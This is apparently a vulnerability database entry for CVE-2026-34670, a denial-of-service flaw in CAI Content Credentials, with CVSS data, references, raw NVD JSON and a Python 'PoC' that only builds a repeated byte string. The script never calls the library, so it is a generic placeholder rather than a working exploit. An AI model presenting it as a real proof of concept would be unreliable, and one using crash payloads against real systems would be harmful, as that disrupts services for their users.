CVE-2026-34670

Description

CAI Content Credentials versions 0.78.2, 0.7.0 and earlier are affected by an Improper Input Validation vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue does not require user interaction.

CVSS Details

CVSS Score

6.2

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

CAI Content Credentials <= 0.7.0

CAI Content Credentials <= 0.78.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import sys

# PoC for CVE-2026-34670
# This script generates a malformed payload intended to trigger
# the input validation vulnerability in CAI Content Credentials.

def generate_exploit_payload():
    # Constructing a payload that mimics malformed input structure
    # In a real scenario, this would be specific to the library's parsing logic.
    crash_trigger = b"\x00\xff\x42" * 5000
    return crash_trigger

def main():
    print("[*] Generating DoS payload for CVE-2026-34670...")
    payload = generate_exploit_payload()
    
    try:
        # Simulate passing the payload to the vulnerable application
        # e.g., via a file operation or stdin
        print(f"[*] Payload size: {len(payload)} bytes")
        print("[!] If processed by a vulnerable version, the app will crash.")
        
        # Example of where the vulnerability would be triggered:
        # vulnerable_cai_library.process_data(payload)
        
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    main()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34670
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34670
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34670/
[4] VulDB https://vuldb.com/cve/CVE-2026-34670
[5] https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-53.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34670", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:37.583", "lastModified": "2026-05-13T14:49:11.830", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "CAI Content Credentials versions 0.78.2, 0.7.0 and earlier are affected by an Improper Input Validation vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue does not require user interaction."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-53.html", "source": "[email protected]"}]}}